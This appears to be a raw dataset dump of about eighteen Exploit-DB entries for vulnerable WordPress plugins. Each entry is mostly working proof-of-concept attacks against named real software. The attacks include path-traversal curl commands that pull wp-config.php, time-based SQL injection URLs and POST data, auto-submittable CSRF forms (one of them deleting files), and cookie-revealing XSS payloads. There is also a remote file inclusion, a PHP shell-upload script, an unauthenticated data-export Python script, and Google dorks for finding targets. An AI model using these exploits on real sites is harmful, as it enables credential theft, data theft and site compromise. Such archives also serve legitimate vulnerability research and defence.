deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39593
Description: WordPress Plugin Memphis Document Library 3.1.5 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2016-03-22
Author: Felipe Molina

Exploit:
# Exploit Title: Arbitrary file download in Memphis Document Library 3.1.5
# Google Dork: inurl:"mdocs-posts" -site:wordpress.org
# Date: 22/03/2016
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://wordpress.org
# Software Link: https://downloads.wordpress.org/plugin/memphis-documents-library.3.1.5.zip
# Version: 3.1.5 (Vulnerable from 2.3 to 3.1.5, fixed in 3.1.6)
# Tested on: Ubuntu 12.04, Wordpress 4.4.2.
# CVE : N/A
# Vulnerable file: memphis-documents-library/mdocs-downloads.php
# Vulnerable function: mdocs_img_preview()
# Vulnerable GET parameter: Injectable 'mdocs-img-preview'
# Vulnerable line: 90 to 93
# Vulnerable code:

87 function mdocs_img_preview() {
88 require_once(ABSPATH . 'wp-includes/pluggable.php');
89 $upload_dir = wp_upload_dir();
90 $image = $upload_dir['basedir'].MDOCS_DIR.$_GET['mdocs-img-preview'];
91 $content = file_get_contents($image);
92 header('Content-Type: image/jpeg');
93 echo $content; exit();
94 }

# POC:

curl http://example.site.com/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.php

or if the plugin is not installed in the root folder of wordpress, for
example in the folder "mdocs-posts":

curl http://example.site.com/mdocs-posts/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.php
Exploit-DB #17689
Description: WordPress Plugin Menu Creator 1.1.7 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-18
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Menu Creator plugin <= 1.1.7 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-menu-creator.1.1.7.zip
# Version: 1.1.7 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/wp-menu-creator/updateSortOrder.php?menu_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
$menu_id = $_GET['menu_id'];
...
$first_item = $wpdb->get_row("SELECT * FROM " . $wpdb->prefix."menuitems WHERE `order`=0 AND `parent`=0 AND menu = $menu_id");
Exploit-DB #44632
Description: WordPress Plugin Metronet Tag Manager 1.2.7 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-16
Author: dxw

Exploit:
<!--
Details
================
Software: Metronet Tag Manager
Version: 1.2.7
Homepage: https://wordpress.org/plugins/metronet-tag-manager/
Advisory report: https://advisories.dxw.com/advisories/csrf-metronet-tag-manager/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF in Metronet Tag Manager allows anybody to do almost anything an admin can

Vulnerability
================
The pluginas settings page sends a nonce, and checks it when displaying the success/failure message, but is not checked when setting options.
This option is meant to contain JavaScript for Google Tag Manager, so itas displayed on every frontend page without escaping.
As this vulnerability allows adding arbitrary JavaScript, the attacker can use it to control an admin useras browser to do almost anything an admin user can do.

Proof of concept
================
-->

Press submit on a page containing the following HTML snippet:
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=metronet-tag-manager\">
 <input type=\"text\" name=\"submit\" value=\"1\">
 <input type=\"text\" name=\"gtm-code-head\" value=\"<script>alert(1)</script>\">
 <input type=\"submit\">
</form>

<!--
In a real attack, the form can be made to autosubmit so the victim only has to follow a link.

Mitigations
================
Upgrade to version 1.2.9 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2018-04-13: Discovered
2018-04-16: Reported to plugin author via Facebook private message
2018-04-17: Plugin author confirmed receipt of message
2018-04-24: Plugin changelog indicates bug has been fixed in 1.2.9
2018-05-15: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
-->
Exploit-DB #37829
Description: WordPress Plugin MF Gig Calendar - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-09-20
Author: Chris Cooper

Exploit:
source: https://www.securityfocus.com/bid/55622/info

The MF Gig Calendar plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

MF Gig Calendar 0.9.4.1 is vulnerable; other versions may also be affected. 

GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1
Exploit-DB #50139
Description: WordPress Plugin Mimetic Books 0.2.13 - 'Default Publisher ID field' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-07-19
Author: Vikas Srivastava

Exploit:
# Exploit Title: WordPress Plugin Mimetic Books 0.2.13 - 'Default Publisher ID field' Stored Cross-Site Scripting (XSS)
# Date: 18/07/2021
# Exploit Author: Vikas Srivastava
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/mimetic-books/
# Version: 0.2.13
# Category: Web Application
# Tested on Mac

How to Reproduce this Vulnerability:

1. Install WordPress 5.7.2
2. Install and activate Mimetic Books
3. Navigate to Settings >> Mimetic Books API and enter the XSS payload into the Default Publisher ID input field.
4. Click Save Changes.
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
6. Payload Used: "><script>alert(document.cookie)</script>
Exploit-DB #17894
Description: WordPress Plugin Mingle Forum 1.0.31 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-27
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability
# Date: 2011-09-19
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mingle-forum.1.0.31.zip
# Version: 1.0.31 (tested)
# Note: wpf_str_encrypt($_POST['wpf_security_code']) == $_POST['wpf_security_check']

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/mingle-forum/wpf-insert.php
 wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" http://www.site.com/wp-content/plugins/mingle-forum/wpf-insert.php

---------------
Vulnerable code
---------------
    if (!isset($_POST['edit_post_submit'])) {
        $errormsg = apply_filters('wpwf_check_guestinfo',"");
        if ($errormsg != "") {
            $error = true;
            wp_die($errormsg);
        }
    }

    if($options['forum_captcha'] == true && !$user_ID){
        include_once(WPFPATH."captcha/shared.php");
        $wpf_code = wpf_str_decrypt($_POST['wpf_security_check']); // wpf_str_decrypt("MhWNow==") == "fail"
            if(($wpf_code == $_POST['wpf_security_code']) && (!empty($wpf_code))) {
              // do nothing
            }
            else {
                $error = true;
                $msg = __("Security code does not match", "mingleforum");
                wp_die($msg);
            }
    }

    ...

    if(isset($_POST['edit_post_submit'])){
        $myReplaceSub = array("'", "\\");
        $subject = str_replace($myReplaceSub, "", $mingleforum->input_filter($_POST['edit_post_subject']));
        $content = $mingleforum->input_filter($_POST['message']);
        $thread = $mingleforum->check_parms($_POST['thread_id']);
        $edit_post_id = $_POST['edit_post_id'];

        if($subject == ""){
            $msg .= "<h2>".__("An error occured", "mingleforum")."</h2>";
            $msg .= ("<div id='error'><p>".__("You must enter a subject", "mingleforum")."</p></div>");
            $error = true;
        }
        elseif($content == ""){
            $msg .= "<h2>".__("An error occured", "mingleforum")."</h2>";
            $msg .= ("<div id='error'><p>".__("You must enter a message", "mingleforum")."</p></div>");
            $error = true;
        }

        if ($error) wp_die($msg);

        //SECURITY FIX NEEDED <-- actual author's comment :)
        $sql = ("UPDATE $mingleforum->t_posts SET text = '$content', subject = '$subject' WHERE id = $edit_post_id");
        $wpdb->query($wpdb->prepare($sql)); // misusage of prepare statement(s)
Exploit-DB #37194
Description: WordPress Plugin Mingle Forum 1.0.33 - 'admin.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53529/info

The Mingle Forum plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mingle Forum 1.0.33 is vulnerable; other versions may also be affected.

http://www.example.com/wp-admin/admin.php?page=mfstructure&amp;mingleforum_action=structure&amp;do=addforum&amp;groupid=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=mfgroups&amp;mingleforum_action=usergroups&amp;do=edit_usergroup&amp;usergroup_id=1%27%3%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #17868
Description: WordPress Plugin Mini Mail Dashboard Widget 1.36 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-19
Author: Ben Schmidt

Exploit:
# Exploit Title: Mini Mail Dashboard Widget Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/mini-mail-dashboard-widget
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/mini-mail-dashboard-widget/download/
# Version: 1.36 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/mini-mail-dashboard-widgetwp-mini-mail.php?abspath=RFI (requires POSTing a file with ID wpmm-upload for this to work)

---
Vulnerable Code
---
if (isset($_FILES['wpmm-upload'])) {
	// Create WordPress environmnt
	require_once(urldecode($_REQUEST['abspath']) . 'wp-load.php');

	// Handle attachment
	WPMiniMail::wpmm_upload();
}
Exploit-DB #36774
Description: WordPress Plugin MiwoFTP 1.0.5 - Arbitrary File Download (1)
Type: webapps
Platform: php
Date: 2015-04-15
Author: Necmettin COSKUN

Exploit:
# Exploit Title     :WordPress MiwoFTP Plugin 1.0.5 Arbitrary File Download Exploit
# Vendor			:Miwisoft LLC
# Vendor Homepage   :http://www.miwisoft.com
# Version  			:1.0.5
# Tested on         :Win7/Chrome/Firefox
# Exploit Author    :Necmettin COSKUN =>@babayarisi
# Discovery date    :04/15/2015
  

MiwoFTP is a file manager plugin for Wordpress.

  
Description
================
Wordpress MiwoFTP Plugin 1.0.5 suffers from arbitrary file download vulnerability.

Poc Exploit
================
 http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&srt=yes
  
================
#RCE/XSS/CSRF by Gjoko 'LiquidWorm' Krstic

#http://www.exploit-db.com/exploits/36763/
#http://www.exploit-db.com/exploits/36762/
#http://www.exploit-db.com/exploits/36761/
================

Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
Exploit-DB #36801
Description: WordPress Plugin MiwoFTP 1.0.5 - Arbitrary File Download (2)
Type: webapps
Platform: php
Date: 2015-04-21
Author: dadou dz

Exploit:
######################

# Exploit Title : WordPress MiwoFTP Plugin 1.0.5 <= Arbitrary File Download

# Exploit Author : Dadou Dz

# Software Link : Premium

# Dork Google: inurl:com_miwoftp

# Affected version: 1.0.5

# Vendor Homepage:
http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog


# Date : 2015-04-20

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
######################

# Exploit:
http://TARGET/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&item=[....somefile....]&order=name&srt=yes
"download_file" : wp-config.php
http://TARGET/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&item=wp-config.php&order=name&srt=yes



#####################

Discovered By : Dadou Dz
           My Email - dadoudzdz@gmail.com
           fb: fb.com/Dz2Team
         [ Thanks To ]
Toxic Dz ~ faroukovic DZ _ PaWL _ bl4ck-dz _ Abdellah Elmaghribi

Algerian To The Core - Dz Team - 1337day Community Algeria - Fallaga Team

 AnonGhost Team -  Anonymous Dz - Backup Sec Dz

 Sec4ever.com - Gaza-Hacker.net - Dev-Tun.tn - Fallaga.tn - Aljyyosh.com -
dz-root.com

 And All My Freinds - All Muslims Hackers - All Algerian Hackers

#####################
Exploit-DB #36761
Description: WordPress Plugin MiwoFTP 1.0.5 - Cross-Site Request Forgery / Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2015-04-14
Author: LiquidWorm

Exploit:
WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Deletion Exploit


Vendor: Miwisoft LLC
Product web page: http://www.miwisoft.com
Affected version: 1.0.5

Summary: MiwoFTP is a smart, fast and lightweight file manager
plugin that operates from the back-end of WordPress.

Desc: Input passed to the 'selitems[]' parameter is not properly
sanitised before being used to delete files. This can be exploited
to delete files with the permissions of the web server using directory
traversal sequences passed within the affected POST parameter.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5240
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5240.php

Vendor: http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog


24.03.2015

--


<html>
  <body>
    <form action="http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=post" method="POST">
      <input type="hidden" name="do_action" value="delete" />
      <input type="hidden" name="first" value="y" />
      <input type="hidden" name="selitems[]" value="../../../../../pls_mr_jailer_dont_deleteme.txt" />
      <input type="submit" value="Gently" />
    </form>
  </body>
</html>
Exploit-DB #17707
Description: WordPress Plugin MM Duplicate 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-22
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip
# Version: 1.2 (tested)

---
PoC
---
http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
class mm_duplicate_pages_posts
{
    ...
    function mm_duplicate_pages_posts()
    {
        ...
        add_action('init', array(&$this, 'dup'));
        ...        
    }

    function dup()
    {
        if($_GET['duplicate'])
        {
            $id = $_GET['post'];
            $dup = new mm_duplicate();
            ...
            $dup->duplicate_post_page($id);
        }
    }
...
}

class mm_duplicate
{
    function duplicate_post_page($id)
    {
        ...
        $select = "select * from ".$wpdb->prefix."postmeta where post_id = $id";
        ...
    }
...
}
Exploit-DB #17725
Description: WordPress Plugin MM Forms Community 1.2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-27
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress MM Forms Community plugin <= 1.2.3 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-forms-community.zip
# Version: 1.2.3 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/mm-forms-community/includes/edit_details.php?ID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
foreach ($_REQUEST as $key => $value){
	
	
	$SQL="UPDATE wp_contactform_submit_data SET value=".quoteString($value)." WHERE fk_form_joiner_id='".$_REQUEST['ID']."' AND form_key='".$key."'";
	mysql_query($SQL);
}
Exploit-DB #18997
Description: WordPress Plugin MM Forms Community 2.2.6 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-06
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - MM Forms Community Arbitrary File 
Upload Vulnerability
# Version : 2.2.5 - 2.2.6
# Link : http://wordpress.org/extend/plugins/mm-forms-community/
# Plugins : http://downloads.wordpress.org/plugin/mm-forms-community.zip
# Date : 24-05-2012
# Google Dork : inurl:/wp-content/plugins/mm-forms-community/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('fileToUpload'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/plugins/mm-forms-community/upload/temp/
Filename : $postResult output

lo.php
<?php
phpinfo();
?>
Exploit-DB #50084
Description: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-07-02
Author: Ron Jost

Exploit:
# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24146
# CWE: CWE-863, CWE-284
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md

'''
Description:
Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,
versions before 5.16.5, did not properly restrict access to the export files,
allowing unauthenticated users to exports all events data in CSV or XML format for example.
'''


'''
Banner:
'''
banner = """
   _______    ________    ___   ____ ___  ___     ___  __ __ _____ __  _____
  / ____/ |  / / ____/   |__ \ / __ \__ \<  /    |__ \/ // /<  / // / / ___/
 / /    | | / / __/________/ // / / /_/ // /_______/ / // /_/ / // /_/ __ \ 
/ /___  | |/ / /__/_____/ __// /_/ / __// /_____/ __/__  __/ /__  __/ /_/ / 
\____/  |___/_____/    /____/\____/____/_/     /____/ /_/ /_/  /_/  \____/  
                                                                                                                                                                                                                                                                                                          
            * WordPress Plugin Modern Events Calendar Lite < 5.16.2 - Export Event Data (Unauthenticated)
            * @Hacker5preme                                                                                                                            
                            
"""
print(banner)


'''
Import required modules:
'''
import requests
import argparse
import csv

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events CalendarExport Event Data (Unauthenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH


'''
Exploit:
'''
print('')
print('[+] Exported Data: ')
print('')
exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv'
answer = requests.get(exploit_url)
decoded_content = answer.content.decode('utf-8')
cr = csv.reader(decoded_content.splitlines(), delimiter=',')
my_list = list(cr)
for row in my_list:
    print(row)
Exploit-DB #37654
Description: WordPress Plugin Monsters Editor for WP Super Edit - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-08-22
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55175/info

The Monsters Editor for the WP Super Edit plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

http://www.example.com/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html

http://www.example.com/hospital/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html